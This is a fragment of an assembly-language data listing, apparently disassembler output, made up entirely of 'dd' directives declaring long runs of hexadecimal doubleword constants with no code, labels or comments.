		dd 1949AFF2h, 0A8FB0F27h, 0CDA3CCh, 0CA70986Ah,	5ECE5AE2h
		dd 791E0D07h, 0A9903AD9h, 3F6A49h, 4A634044h, 2754378Fh
		dd 4B28BC00h, 7F9D3D24h
		dd 9A66003Ch, 0C1032B6h, 18388AACh, 883E8004h, 0D90EC67Eh
		dd 5970C0DEh, 1974576h,	71963B00h, 687D2BBAh, 0FF0802F1h
		dd 451980A7h, 0C4DE2040h, 0D3D8CF0Ch, 74D120B2h, 9F074AAh
		dd 0DB404E67h, 1F573420h, 530F85C9h, 9D88A0A5h,	60153C00h
		dd 3506F45h, 0C8E30B0Ah, 8A809AF6h, 790083B3h, 96EA7395h
		dd 309E071Ah, 0F5A0E538h, 0C4003AB9h, 0F1DAB8C9h, 3D1F37h
		dd 59904842h, 5B016354h, 46CE9700h, 0DE9EAC56h,	24A50029h
		dd 0CB451B5Ah, 0EC103A93h, 7580194Eh, 0DED22584h, 0C59A5F01h
		dd 14D6023Dh, 321816Ah,	27CCE0D8h, 62666B01h, 252CB6A6h
		dd 54E0EBFDh, 0F3E29Eh,	21FC9834h, 0FA3D307Ch, 2A000D74h
		dd 7AC21663h, 5A3EDh, 0D49DFBD2h, 0DD56433Ah, 0C81E0E14h
		dd 6C4900A4h, 0F6F11BF5h, 453A1999h, 0FF78094Dh, 0CD8C2003h
		dd 987CD41Bh, 0F2FE61h,	72AB385Ch, 0D5F9DFA8h, 0BC00E0A4h
		dd 88250506h, 64C8A29Bh, 90340987h, 50E9C28h, 27327001h
		dd 0D628AB92h, 8AF48450h, 4EE0E6h, 146330A0h, 3C9732C2h
		dd 546C431Bh, 8B82340h,	0EF1BFF01h, 7918C9F6h, 1CF78E88h
		dd 1A6AD1Bh, 0BB9827D2h, 0A84AC0D4h, 29C02E6Ch,	0A0A202CCh
		dd 4FF0B2DAh, 19182F63h, 1EB90ED5h, 208E0082h, 0CF4B18F0h
		dd 0EB7C8512h, 0B4007AE8h, 104C036Ah, 305A88B7h, 48689323h
		dd 454018FAh, 5E810085h, 9CE34B3Ch, 0C430DDCDh,	0DFC2907h
		dd 0F76A0022h, 0A5CBFEF4h, 0D71F616Dh, 0EAC36E07h, 9802D1F9h
		dd 0E5D1C3Bh, 0AB42B053h, 0C0C98227h, 4248021h,	0FBAD2000h
		dd 0DCE0150Ah, 5C260E83h, 0D2761A0h, 0B0A460AFh, 971809D5h
		dd 8104E41Eh, 55400D9h,	803234C0h, 0E6B02C23h, 57708403h
		dd 0A846B5DEh, 31D6C4h,	519F7FAEh, 838ED96Ch, 2A221605h
		dd 0D88004A6h, 0BB66ACh, 2628097Ch, 963AA7F4h, 0D365BD00h
		dd 0D1C82B5Dh, 0E39109C0h, 1080AAA0h, 302F0444h, 0B60D2400h
		dd 5B97FBB9h, 0B0870086h, 0B7A1DA64h, 0F83DB33Fh, 0E59801E1h
		dd 0F7CC77AEh, 3074A7E0h, 3D8AEF17h, 1200AD0Ah,	865C9571h
		dd 0F456A6A1h, 779700FCh, 0E25ECA0Eh, 0C700BBE1h, 0ABA3B66Ah
		dd 124C3A5h, 0CF86489Ah, 0E0AE1EC5h, 0D57A18AAh, 1007BB03h
		dd 0A2B7F4h, 734BA480h,	0E38A0B9h, 0D8C1F000h, 6354613h
		dd 0C61D0068h, 0D75E5B0h, 79008A04h, 0DD2AC271h, 17B61D1h
		dd 4D48C68Eh, 80A7E55Bh, 77F871D8h, 3026E85h, 61BC6C65h
		dd 4BD80A4Eh, 0F664E24Dh, 69201529h, 28163DFh, 0F0442B08h
		dd 5F228489h, 111642E1h, 0AD21F25Bh, 7962373Fh,	0EC3F4258h
		dd 8C86302Eh, 0DE22296Ch, 88D37F09h, 0BF8BF9C5h, 0D2086144h
		dd 98F7A84Eh, 960551F9h, 0ED895C00h, 0A6042599h, 2782392Fh
		dd 1640077h, 95083D65h,	0FD00C672h, 2F0CB058h, 6B9387h
		dd 427A3A92h, 962E41C8h, 0CB2058h, 0B54F95E6h, 87A357h
		dd 23AADB0Eh, 60920843h, 0A4800707h, 28E3F018h,	0C8F1A3DCh
		dd 141E989h, 451DCEE4h,	302E75C9h, 0E71C748Eh, 8F495323h
		dd 898800E2h, 9012B176h, 574400B2h, 4E4743B7h, 9C006DD3h
		dd 0BDA4113Eh, 0B863FB12h, 901D00F4h, 1AEBB31Eh, 0F93AE813h
		dd 8057804Ch, 35BE708Ah, 963600A5h, 75DF97BFh, 2F0228C5h
		dd 18C3E1AEh, 0D514406Bh, 307DE5h, 0BF3EF7CAh, 0BCB51A63h
		dd 4565DC00h, 0B1853BB8h, 616800D9h, 2FC0DA8Eh,	0E100B53Dh
		dd 0AF0B1297h, 3E9A6B7Bh, 0A30CAC64h, 5F588799h, 0F7C6190h
		dd 0D9F9A231h, 8BECB519h, 432C008Ah, 95D31824h,	0EC7AC2E8h
		dd 0E4CEED00h, 65456E1Bh, 3A7601ACh, 9435FD90h,	3D4AD483h
		dd 8E595D38h, 6386F791h, 0C834BE2Ch, 240DDEh, 83F67840h
		dd 0B210D0C5h, 0AB201200h, 0A7FC7A0Ah, 63D61827h, 265D18DAh
		dd 8632F800h, 8271FD50h, 4C3900C4h, 7A0B2FB5h, 0A30097BCh
		dd 0B43BEE67h, 0C072913h, 0EDAB798Ch, 64005298h, 0A37469CEh
		dd 588A0ABDh, 100E1D5Dh, 0F9E0B418h, 0AAA8B261h, 0D20D9C00h
		dd 5F3A8917h, 0C59841h,	0D6AC6639h, 7419EA60h, 7F682D04h
		dd 0C2C186D4h, 0B0D891B4h, 0EAC001Ch, 0EB8FF9A4h, 69263BBAh
		dd 0FD009ACDh, 0E0B55F55h, 0E7E5009Bh, 4AC0FA9Fh, 0DA001DC2h
		dd 6E168A41h, 1AAF4098h, 0D84F960Eh, 59710C40h,	9EFEA0C0h
		dd 498734h, 2C4B6A9Bh, 862F0D7Eh, 917D3F1Ch, 92941CC0h
		dd 0F4D85h, 0B1428A40h,	0DB221730h, 0D19130Bh, 480603FDh
		dd 2702B071h, 0C68609D5h, 5C015F7Ah, 0C46A2ABAh, 0A520E1C1h
		dd 0AAF7000Ch, 7752D4C7h, 0D63A93DBh, 724601FCh, 0CD9D7EA7h
		dd 3EFA6820h, 0B9924F1Fh, 0B7640064h, 6272D43Ah, 70CC1332h
		dd 5F6840C7h, 4174006Eh, 7737791h, 79000A34h, 0BF6847FDh
		dd 0FC786E0h, 231EA524h, 0B702009Ch, 0A0171F0h,	8B03F1E6h
		dd 3A9FABB0h, 72C3A04Fh, 0EF8A1E61h, 1338C10Eh,	20C8E7A5h
		dd 0CC00EA90h, 93F1629Eh, 82C336h, 17E80B67h, 7F60634Fh
		dd 590028B0h, 83EA6AFBh, 0FF9C24h, 0E13416Ch, 69F52A21h
		dd 0A0380303h, 0F0D75AA9h, 140ED09h, 0DC025DE0h, 0DC375BF2h
		dd 7500F555h, 0A61B71B4h, 7F0599BCh, 898CA0C4h,	526900B5h
		dd 0DB507C97h, 5E00C874h, 0B748E493h, 637F16h, 900327BFh
		dd 50F07C31h, 45B8121Eh, 7F37CF00h, 6B9FFEh, 2601EA2Dh
		dd 42244A47h, 49312E00h, 3378BC51h, 0B8AE0B45h,	0DE038672h
		dd 1398090Dh, 0F6B097BDh, 32BCE500h, 84F7C3CCh,	5E060031h
		dd 0A1D6232Ch, 3C005412h, 0AA5CFFE3h, 0EAC4162Eh, 1EA4027Dh
		dd 20DEC541h, 4731AF80h, 0A21EEBCFh, 6DC297B5h,	0E0210AD0h
		dd 1C9B4CBh, 9A320455h,	0C8331F06h, 67731893h, 8CEB6E00h
		dd 0BA5B504Bh, 0DD953A82h, 0E88F00FFh, 1B75C5BDh, 0A200F4CCh
		dd 661D467Ch, 4C0DDD50h, 3E0048A7h, 1CBBDBBEh, 0B100E6E9h
		dd 1AC93FB4h, 7513889h,	6792E143h, 2EFD4029h, 2400A509h
		dd 97B8CB36h, 2ECFB7C7h, 0C7ABDBh, 0C9DE1321h, 8900CCEFh
		dd 0DD47E18Ah, 6A65D6h,	45043285h, 0A2D54F27h, 7C1048h
		dd 24CDAA29h, 6FFDD1h, 88E30130h, 81F99E16h, 1223EA14h
		dd 0F7900B8h, 0D0D70CA3h, 0BF940070h, 48AD1E57h, 831CA7DEh
		dd 60804421h, 5078FDE9h, 0B7BB0EF7h, 413F9DE1h,	0EE33ED19h
		dd 0BD0420F3h, 0D665AD00h, 0AAAFA7BBh, 0D22400EFh, 1179B28h
		dd 90760C9h, 0D9733CCBh, 2A49403Eh, 904B8EF8h, 16A700E4h
		dd 295385Bh, 0D907C928h, 0BE4AF435h, 0A11A6550h, 2C27247Ch
		dd 582001D0h, 606E47E7h, 0D30EF614h, 80D80FAFh,	0F2B85733h
		dd 783F18EEh, 1F42187Dh, 310719EAh, 5B1054B2h, 0F299F811h
		dd 7A651930h, 0FDD01D18h, 942F8476h, 0AC8CC341h, 5AE9002h
		dd 8E9ABD11h, 135C80BCh, 0DFBE0Ch, 0BB1260BFh, 0CC9DE83Bh
		dd 18C6B402h, 48EC1D1Eh, 7CE1918Ch, 52B300F4h, 0D142618Ch
		dd 0AB1EBE74h, 8400F658h, 98F18B2Fh, 0A4960026h, 4944F79Bh
		dd 2903A64Ah, 9092D283h, 0A9D59B1Dh, 86C42C7Fh,	0A7690077h
		dd 2843A41Bh, 4E7B91F0h, 93F06E79h, 5E593Dh, 5B799077h
		dd 184BF50h, 0DFC5FD66h, 0C819F773h, 0AA01F9DBh, 0D4321625h
		dd 0CEC027Ch, 0C42900A1h, 0A731AE22h, 0B60CEA46h, 0A4E00AF1h
		dd 67E80706h, 40CECFB8h, 0DFBBFEEBh, 80A88138h,	80E3BC32h
		dd 0E0E7F28Bh, 77C9002Bh, 87D240DCh, 0BC009307h, 0B9928AEh
		dd 73D5E5FCh, 897E0075h, 0FF5E4E0h, 8100D396h, 0EB9C03AEh
		dd 0E32EECh, 0ABDA0B77h
		dd 6EE98FF6h, 3ACA48h, 0D351D46Fh, 0E08DDC7h, 9A09581Ch
		dd 79E916A0h, 0F7008A4Fh, 0E503F89Bh, 69014Bh, 0AF71DD20h
		dd 0DC1ACB38h, 0FF344400h, 0F95E66F1h, 49C12817h, 1DB600A6h
		dd 57757872h, 9676A14Ch, 0B0D12F00h, 0FBD6E681h, 389D00ACh
		dd 0A1486DA3h, 0B83B6C28h, 0CB108073h, 9D6F1A30h, 4F4100ADh
		dd 70F42F9Ch, 40006E5Ah, 0B9F9F1A6h, 0E3C9477h,	634D7EAFh
		dd 0E95520C0h, 9B0010CAh, 77153EC1h, 0C2DF24h, 431F7CA0h
		dd 0C6AD1102h, 217888EDh, 44200042h, 0F6B26295h, 0C4A0F400h
		dd 403F1277h, 971D1633h, 6A500EDh, 5529A247h, 4D7F501Fh
		dd 0A3B6AF43h, 0F81F01Ah, 5D8D00EBh, 4522142Eh,	0B51E2002h
		dd 4A809F11h, 8F341553h, 39840325h, 57501F2Bh, 3DC8DEB8h
		dd 0A5584F00h, 9FB16FFCh, 41A74C0Ch, 0C281F300h, 74BF78Bh
		dd 0C024D32Ah, 311A6005h, 0E80178EFh, 0BF74841Ch, 389E3220h
		dd 890057B9h, 5CF68365h, 0D198B832h, 24E10C26h,	0F01EEF00h
		dd 216A6C0h, 785DED3Ch,	0C0A72CE2h, 6CB370ACh, 0B800F310h
		dd 0F9B495B1h, 2444A15h, 47F051BDh, 0E24018D6h,	0BA771B69h
		dd 8121F538h, 2E228D54h, 2FCC0BC1h, 0BFA10120h,	51A70305h
		dd 0DA2180CAh, 0F446B442h, 0A3B8009Fh, 2AC9216Bh, 5C386494h
		dd 10138CEh, 9EB38153h,	56C8033Ch, 0D2F7072Ch, 20F23776h
		dd 0DE50BE8Eh, 8049EA00h, 0A51EEDE9h, 53B60745h, 0C08803E0h
		dd 9C751299h, 0A7F65F00h, 7AF583E2h, 801501E8h,	2FF72288h
		dd 4456FCF0h, 0AA947202h, 809AF9D6h, 329B2BC8h,	0F5F705D0h
		dd 0EC1237h, 1E56C8CCh,	4C7B8320h, 64F4D902h, 80B73852h
		dd 0B02225D0h, 70494074h, 1FE12A00h, 4CCA7B89h,	0AF6707D3h
		dd 0F071F661h, 55F91087h, 6C08330Eh, 80C66BE2h,	0CBE71113h
		dd 402E009Fh, 4B6696D1h, 7984D3Dh, 0FCD01D54h, 8C62E4h
		dd 56657C8Ch, 0A74161E1h, 0DE35F001h, 1F738262h, 87688C52h
		dd 8100EB97h, 358519h, 0CCD0B724h, 9E1F8306h, 2FAAAC00h
		dd 0FE509B40h, 0AE8513F5h, 7E800057h, 0E63276DBh, 0E0829E00h
		dd 38A6C32Dh, 0CD460019h, 54160D1Fh, 4900B981h,	0E5CBBFEAh
		dd 938057h, 631DC3F2h, 6ADB447Fh, 14F46E01h, 0C069CAADh
		dd 0D04C30h, 5A4C25F5h,	0A246DDE0h, 0D6C3E512h,	517CA800h
		dd 1E860A26h, 5EB4D23Ah, 93224319h, 858247DCh, 444BE480h
		dd 90012D56h, 7D0745E8h, 40F20194h, 1F391DF4h, 40B62FD2h
		dd 7264E8FDh, 9107D508h, 0C9AD10AAh, 0CD677D10h, 48A9006Eh
		dd 1F5B98Ch, 52EC6A7h, 2A0075EEh, 6A3608C8h, 78D10080h
		dd 0F5A8BA09h, 0DC02CF96h, 1BC152ECh, 0F82CC32Dh, 7160917h
		dd 5FD7E3E7h, 47416E24h, 24AF70E2h, 4A00A180h, 5FBCBA7Ah
		dd 4A27B91h, 7D9B2A56h,	43A8800Bh, 0A96FEDA7h, 17F700C0h
		dd 0B0CCAB90h, 0D4790610h, 11A299EEh, 76DF6E17h, 0D06C690Ah
		dd 4BFA8880h, 0AA9D14h,	301F2149h, 198F86D6h, 0FEB69205h
		dd 1C87075Eh, 0C25C1260h, 867900B9h, 0B3FCE6Bh,	0EC007094h
		dd 0F543330Fh, 58188105h, 1B0014C5h, 0A95C2F6h,	35607B40h
		dd 0C73CA920h, 221A004Eh, 0AC2BA548h, 0D890DC94h, 1B4F620Eh
		dd 1A70E0D0h, 8EC391h, 0DE9A0885h, 0C683E40h, 2D7F9C90h
		dd 46484CB8h, 89C40F9Ch, 0AE14878Dh, 0D02FB890h, 7BD50033h
		dd 950B0D3Ah, 2700C92Ah, 7C96E18Bh, 703B59h, 1A44628Dh
		dd 126DBBAAh, 82E0C33Dh, 89871CC1h, 0CB30013Bh,	806C32D7h
		dd 2675D9F0h, 473B824h,	0BACE9478h, 0A9C0EAC3h,	98BF2E5h
		dd 37E65455h, 49B17C81h, 86430001h, 208C144h, 509371A7h
		dd 318BE3F0h, 0C7E4A612h, 0B1B38C46h, 0B70414C2h, 0DD009CFFh
		dd 4ACA4839h, 9B00C2BBh, 1A42092Bh, 1D86ADh, 1CD1A72Ch
		dd 9E91DEEAh, 20722D00h, 991BB9BAh, 0FDCD5C93h,	6BEB6100h
		dd 3DC240DAh, 62C3F38h,	76A9F65h, 5F9900A0h, 4AA06459h
		dd 0CA00BF7Eh, 0D1D29229h, 0EEBCB01h, 10E5D339h, 50312680h
		dd 56000EB3h, 8DF1147Ah, 39C219Dh, 9147B7B8h, 8C1EFF9h
		dd 0D2D0802Fh, 32D4DD74h, 4FECBEh, 9756F26h, 18A49210h
		dd 2729B400h, 0B82A31D7h, 0EAA8244Ah, 34CB0454h, 7D38C1D1h
		dd 49702420h, 0A8BAC42Ah, 8FA8D448h, 0F65BA0F0h, 25A1EAh
		dd 5CE1319Ch, 0DB47B843h, 449649h, 0E4A1843Dh, 0F8A1425h
		dd 28124F49h, 6A896120h, 6300FDB1h, 0C85058D3h,	3351492h
		dd 5FE25EADh, 31FB0405h, 0F11EA690h, 0FE90DB3Fh, 726036E6h
		dd 0B55C1B98h, 712A0959h, 0B821816Bh, 0C58C8D7Ah, 73C2070h
		dd 5C5B58A0h, 54126E04h, 10C003F0h, 0F319D8h, 68BA7C5h
		dd 7D6DD64Bh, 0DBE47B00h, 935246A5h, 0F498A0F7h, 0FBBE3A74h
		dd 3FC8B704h, 6AE48111h, 0E8D0C06Ch, 0DF00A0EEh, 66552ADBh
		dd 0DE3F59h, 0DC3A1BAAh, 6C93EC65h, 8E5C0D01h, 0F211854Fh
		dd 59AD8h, 0B8C638F8h, 0FFE6F30Ah, 7FC24500h, 9E6E36ECh
		dd 57F60063h, 0C02D5F8Bh, 123F208Ah, 95E60072h,	0AA7A6CE2h
		dd 0F7F68Fh, 7DEE9D34h,	0D1F171C0h, 57054400h, 0AA3FF001h
		dd 8820F1ECh, 79A500E8h, 22C34097h, 7FA4CC7h, 566EF916h
		dd 0CD7E8440h, 1214BE4Bh, 17D605Ah, 309E9926h, 0A8BB36h
		dd 0A4C3FE0Eh, 24AB20A5h, 28DC3D95h, 0DCFB4961h, 5D9E151Fh
		dd 0DC274049h, 0CF244BAEh, 544F7F1Fh, 9F825200h, 0EE03BFA6h
		dd 14EE00FDh, 282968BBh, 0A0267ECAh, 0F7002CE5h, 0E764DE88h
		dd 8C8A009Eh, 65CF7F8Fh, 7B003B91h, 0DEEC7DCBh,	981A40C2h
		dd 2E7C0469h, 90F8D506h, 0A21C6E54h, 1E412F00h,	0A8C560C9h
		dd 0AEFD00C8h, 33CB34ADh, 1BB012B4h, 48569C00h,	152C8622h
		dd 7BD10720h, 8F6B88C3h, 96576541h, 0ED9540B5h,	762CC787h
		dd 0A10860E8h, 89C9121Ch, 9734C054h, 3283Dh, 76DE1BFEh
		dd 735A27h, 4DBC9FFDh, 9CFB90F0h, 68263A78h, 2400CCFFh
		dd 3BCEE642h, 797100CBh, 0C27D284Ah, 0A00E83D2h, 0E1E86A19h
		dd 0EBF6CE6h, 59B3FE4h,	0F1B588A6h, 36D8809Ch, 213B8066h
		dd 8E7E0194h, 7402E3F0h, 0BEA19882h, 40FFDC04h,	3F29A4A1h
		dd 1800940Fh, 0FF6DB173h, 0D900224Fh, 5D07E77Fh, 3BC48164h
		dd 2A8F2045h, 57E08B3Bh, 0AB0A80C7h, 3741FA01h,	0B1DE2D78h
		dd 0F116D4h, 0BBFD2848h, 0C2244A32h, 9913E6C0h,	151BE70h
		dd 46D52F7Bh, 0C0C53E2Ah, 0AE06219Ch, 603B9EC1h, 717960h
		dd 10727BE3h, 0CAE705D5h, 34012EFEh, 50EF1143h,	4EC57FBDh
		dd 26C5C30h, 9CF8B1Eh, 46885AAh, 9400D54Bh, 0BD1656A4h
		dd 78D626BFh, 595E1EA0h, 30A5401Eh, 0B5CF2896h,	8C395C0Eh
		dd 6573A07Dh, 0EDEEC3h,	96711510h, 83FDC5B3h, 708824h
		dd 0D649A400h, 91B770Dh, 400FA04Ch, 7F733020h, 532E1182h
		dd 7C05C8ECh, 5C896D27h, 0FA39EECh, 0D91FD02Eh,	8ED39D41h
		dd 7A2AC4E8h, 0ED5A6600h, 0B69EDBBEh, 0A6A80FBBh, 0CB412C21h
		dd 0F48A6B77h, 3E0069A2h, 0D27D79Bh, 244985E1h,	58A15Ah
		dd 58FC6329h, 0F100841Eh, 8F3957E6h, 4FD266Bh, 0F0A6657Fh
		dd 381E8053h, 4C00890Bh, 0E6432F97h, 1F9C0962h,	0C0A77442h
		dd 8040702Ah, 0E54C8322h, 5D1A0053h, 0B8D5C63h,	1F70E447h
		dd 7CD6FDAh, 830DFDDBh,	0E591059Fh, 242FD524h, 3B004A98h
		dd 2382BC16h, 164E45DAh, 40113DB5h, 0C5292DBCh,	550047FFh
		dd 82F4F8EDh, 0EA1A538h, 0D97D40BAh, 0DD776D21h, 9CE8DB9Eh
		dd 1100E5A9h, 0DE35F7CCh
		dd 5A0FEEh, 9D2618B8h, 0C47E190h, 0E500E098h, 0EEDC9F86h
		dd 0E2086C50h, 642200B6h, 0FD99C6ACh, 903F5923h, 16F87C0h
		dd 9AE0DB30h, 9894228Ah, 4D3A005Fh, 815CE62Bh, 700FBE90h
		dd 0C0953123h, 0D5795F94h, 9CF71BCh, 7518C8FDh,	0F439F812h
		dd 5826C4EFh, 0DFF62CB8h, 5718ED00h, 0D6DA19B3h, 8BEE46h
		dd 5DB4B0DDh, 0A3A8CA81h, 0C0F25B7Fh, 0B3399400h, 5C76F648h
		dd 422E24F0h, 0E6AB0B3Ch, 7EEF3F00h, 1400D240h,	9B41CFA1h
		dd 41BF3A5h, 6F63610Bh,	15583BEh, 7FE452A8h, 86781700h
		dd 344E5977h, 113E493h,	4F2C3262h, 242E4CB4h, 9B035D98h
		dd 8E7C3105h, 68879A3Ah, 3DD274h, 17FAAE8Fh, 5AFDC4A6h
		dd 0AC047228h, 0C3272D1Eh, 0E46A595Ch, 0A63B8303h, 0BA15D4CDh
		dd 0E63CE023h, 0D59100D8h, 0E1A59834h, 0FB24BA0Eh, 3B3CD04Fh
		dd 0FEC859h, 0FAED0F40h, 6EE483h, 73CD2981h, 0B0565DA8h
		dd 8C7C6B00h, 4393F89Fh, 86A02A5h, 31627376h, 0C0BBCC0h
		dd 0AD665Ch, 28A02ECBh,	1FD7458h, 0B4D05D64h, 0C4B99B05h
		dd 3000EF79h, 1D209CF4h, 31442BBh, 0A898AF0Bh, 37D81CBCh
		dd 5A1DADA0h, 0F2C3CF3Ah, 0C8783068h, 1BD7F45h,	0A1391D24h
		dd 0FC31E652h, 33F861A0h, 0BA876000h, 6EF4B57h,	136F05F8h
		dd 0C0083BCAh, 63BD0470h, 179CAA0Fh, 19032226h,	0E02FC0A9h
		dd 9827A62h, 7059B9F9h,	0C5DFD80h, 60FCD53Ch, 98193E1Fh
		dd 0CC7D8983h, 0B068D84Ah, 0F8EFE075h, 0E5B701A3h, 77DC61E2h
		dd 0B048D2E8h, 2F036EE3h, 0C0D2D6F2h, 94FAF869h, 0B0117BD3h
		dd 5646008Ch, 8E8248E8h, 0C2000828h, 0FC566D4h,	2B0A31Fh
		dd 6FE1614Ah, 80409B8Dh, 6000E2CBh, 137369EFh, 1E1B5615h
		dd 3B8D06CAh, 0FE10186Ch, 2C7C9CF0h, 670FD090h,	0DDA4BCD9h
		dd 0B00EF296h, 0C5007E51h, 53369335h, 0C19DF42Bh, 83643F31h
		dd 4CE8D26Dh, 0D21BBD1Bh, 0C7D014C1h, 0EE52803Eh, 0E27DBB13h
		dd 7B702F3Fh, 31C970D0h, 436CE046h, 0BC48C389h,	0B5A0657Dh
		dd 0ADB84C7Bh, 83210662h, 64522Ch, 35E67CA0h, 5F84E5F4h
		dd 0D132E828h, 8FADD703h, 0B02CBF59h, 79CCA3B5h, 4421002Eh
		dd 5DFB6846h, 530107CEh, 250FD219h, 0F8F3DA39h,	77E037h
		dd 14F4ED27h, 0B995A717h, 69822D00h, 2C877FCEh,	792000B5h
		dd 0FF5DDA30h, 6D00DCE8h, 6F1E3544h, 0FEBF4740h, 0B18EFB28h
		dd 3460F999h, 0DD462D7Eh, 98DA091Eh, 18A7ADC7h,	49BE4110h
		dd 6C822431h, 95CB8000h, 0ED2B835Bh, 28E8A46Ch,	0D9C01830h
		dd 0CD81107Bh, 0F22ABEFEh, 8F00A04Ah, 35FD461Fh, 0C71D5DDh
		dd 94F37D70h, 63085C48h, 0BFC432h, 0C6DCD63Ah, 201821E6h
		dd 7BA9FD2Bh, 0FA460012h, 0FF6E263Bh, 0E7D427Ah, 0CF2B591Dh
		dd 0F4D6CA80h, 77CD57DEh, 0E1280344h, 787A3009h, 154EB915h
		dd 0A4700CCh, 3CFC401Ah, 3F2FB845h, 1F008506h, 4E4983A9h
		dd 9EF6BC3Dh, 5060774Dh, 0F33024D3h, 0B131163h,	1A7E004Ch
		dd 7ED298Fh, 8700E3D5h,	0A85883BCh, 4648936h, 6831CAF2h
		dd 63FFC0E8h, 350061EFh, 2EFABF2Fh, 0BC312B4h, 70F4DDC4h
		dd 6C01EF80h, 577E89D4h, 0C5757400h, 680AD984h,	174E008Fh
		dd 85E90C33h, 6001E30h,	163C6405h, 0E5312Ch, 532FF6A5h
		dd 0AC45D3B9h, 0E45D7100h, 5E09D2C3h, 89F80081h, 2B520F19h
		dd 0EA4F1C38h, 7ADB6E80h, 0E42100E5h, 69A9E289h, 0C000658Ch
		dd 68C55976h, 1E6A0DC8h, 923C95h, 0D5F4E21Ah, 1F0602E6h
		dd 0B3A52C7Eh, 4A452C8h, 693BE0AEh, 57EC01B6h, 0BBD80524h
		dd 205360F5h, 2093C424h, 0A14BFA01h, 0C7D41CD7h, 0B010030Ch
		dd 0A718CC3Dh, 84762088h, 119B3F2h, 0D329A985h,	1D44F808h
		dd 6E798462h, 0FB086F89h, 844E1B44h, 7B899CF2h,	0BA11D209h
		dd 9A445708h, 0E7228497h, 11A64220h, 23119B18h,	1036210Fh
		dd 78B68A92h, 919D3F10h, 87FE1125h, 229F8B11h, 838E3C4Bh
		dd 7B82F58Ch, 0DD007909h, 0E06688F7h, 617DCAh, 7AF8CDDFh
		dd 87091597h, 9AE09677h, 0FB1F9F00h, 0FDE3A09Dh, 8B4B009Bh
		dd 3A0F591Dh, 9E00140Bh, 662EB8A8h, 48D93Fh, 6E2334C0h
		dd 0E7EA9252h, 84A11509h, 0A85E804Fh, 7447C5Ah,	9D38FF1Fh
		dd 39BA309Fh, 0BB0E95E9h, 40EFCE77h, 0A54D155Ch, 0D24503ACh
		dd 2B2572E0h, 930B5588h, 683A3770h, 4F8C057Eh, 34C0CE07h
		dd 0FEA93FC5h, 4639035Ah, 0D41DE021h, 6D6FD3B8h, 540251B8h
		dd 5B307141h, 0DD1BE00Eh, 2BC20004h, 195D2CB9h,	16042867h
		dd 0EBD2310Bh, 3A694490h, 0A2AD0024h, 98D05F03h, 463D165Ah
		dd 90C77ED8h, 0F2477E60h, 214F66h, 0E5773C49h, 2BC8BDCAh
		dd 0E8F4A706h, 30659Bh,	36F8B15Bh, 6EAAA684h, 76BAB302h
		dd 4019833Fh, 0C4F687Ch, 5F484321h, 36003BCCh, 979C8004h
		dd 1FE977h, 0AC67853Ch,	0BE5F8CC2h, 0A471E600h,	911E36C1h
		dd 312E8A7h, 556A6E8Dh,	3FA05C37h, 0A8A03EF3h, 85008F23h
		dd 32F99EDAh, 0D4E8719h, 0A616BE30h, 0DE49802Ah, 8B0267E0h
		dd 98900B0Fh, 0CD867250h, 0B5F8E0F5h, 3B750A00h, 52907FD1h
		dd 0CA3E3BF8h, 6F8FAEBCh, 5D29E626h, 62E79400h,	0DB79D835h
		dd 0B1CCF000h, 740CA664h, 6FC600ACh, 12D73EAAh,	841F0265h
		dd 0C0C9695Ch, 81F00FDEh, 0DFD4C1BAh, 0E8B5E0h,	0D2B2C8E2h
		dd 0D3B4DBE9h, 932E300h, 5299AC35h, 0B09C0039h,	8D9AA84Eh
		dd 960F3F5Eh, 0E0AF50B2h, 7746AE8Ch, 0B0E0F7h, 0A45D376Bh
		dd 0B14CD08Ah, 4107DE00h, 0F2927FC9h, 5AB8BBh, 0D420F9FCh
		dd 56E08A58h, 0D2A1880Eh, 0E0930FAEh, 0B6129739h, 7B18004Fh
		dd 8CD9AAD4h, 601FAF9Eh, 0DA40EADFh, 13072154h,	2A9600A9h
		dd 6E6587EDh, 0B33D5705h, 0E24500EFh, 3ACC9850h, 30113E19h
		dd 77381307h, 78D39041h, 4E30D22Dh, 0A3862852h,	0C5BD1EE0h
		dd 41398095h, 68777EA7h, 703BCF00h, 0FC0EF016h,	971C48E8h
		dd 0C2A928h, 0E5FF35FEh, 3309C3AEh, 1BE3800h, 0EC99D291h
		dd 0C0DC7340h, 0C5F8D930h, 730EAC41h, 0C0827889h, 0D3345DCEh
		dd 386100C9h, 8CF10FE4h, 0B8003DDCh, 0D5EF7EFh,	0AEA2F9h
		dd 1F5834E1h, 1EB0B46Ch, 0A7503C00h, 46935ADh, 3D703B97h
		dd 0CF855180h, 0EED99166h, 83658F0Fh, 0E3F2206Ah, 0BFDCB0h
		dd 6092521h, 0D990317h,	7439B100h, 9E46C0DAh, 26F1009Bh
		dd 4C076EFAh, 58E81D22h, 0B0319F2h, 11132456h, 141AD855h
		dd 11E002Eh, 2C666DA1h,	63008490h, 59C996DCh, 8E923Bh
		dd 0B09DAB5Dh, 0C37B42A1h, 80CFF48h, 0EA0514Bh,	0C4809CA3h
		dd 1EC6DD97h, 614F6D00h, 3CBEC5DEh, 0B6F0001Ah,	0A4C82EC1h
		dd 783BB2AFh, 0AB0F02DCh, 80360CB1h, 0C62E8FA4h, 7B0800DBh
		dd 0DC50A37Ah, 9FE2AAABh, 5F0D3000h, 1987E83Ch,	845A1EB2h
		dd 0F910F07Fh, 2FCC0D9h, 0F6186D07h, 0C990F2DFh, 0EDFC4Dh
		dd 2B145F4Bh, 0F93957EAh, 3B4C1600h, 0AD1E9560h, 6C1A010Dh
		dd 0E99DBF92h, 0B13C200Fh, 8A146B07h, 3360E6B8h, 125C913h
		dd 0D4AC98DAh, 0B8FB0D0Eh, 47400028h, 1D5F8ABAh, 0A98128F6h
		dd 994E24B8h, 0F9204F7Ch, 0A60AE48h, 6F120DEAh,	0B301E3FBh
		dd 24784492h, 0CD6C1180h, 0C66A124Fh, 0BD8B4018h, 1C06D19h
		dd 3399D652h, 10BA4218h, 3DA32BCh, 7CDBDDCDh, 0C8000C0Ah
		dd 39E5373Ah, 3E448ADh,	0A8BCF699h, 0A0116117h,	4015E0Ch
		dd 72F4C10Dh, 6682005h,	2138F00h, 0B97A5549h, 60CB0023h
		dd 0F1A12274h, 6607A44Bh
		dd 3375C039h, 0A4015D65h, 3455436Eh, 30C5C8h, 74BEB7F3h
		dd 6D587FDCh, 0E1E20F00h, 62774F56h, 0B12F0037h, 0B760DB59h
		dd 303ED40h, 456DF97Ch,	2AA0DF24h, 9CACD8h, 3E5BCC4Bh
		dd 36FBD20Fh, 81C47A00h, 0B79F2A50h, 0B3AC008Eh, 455C8A6Bh
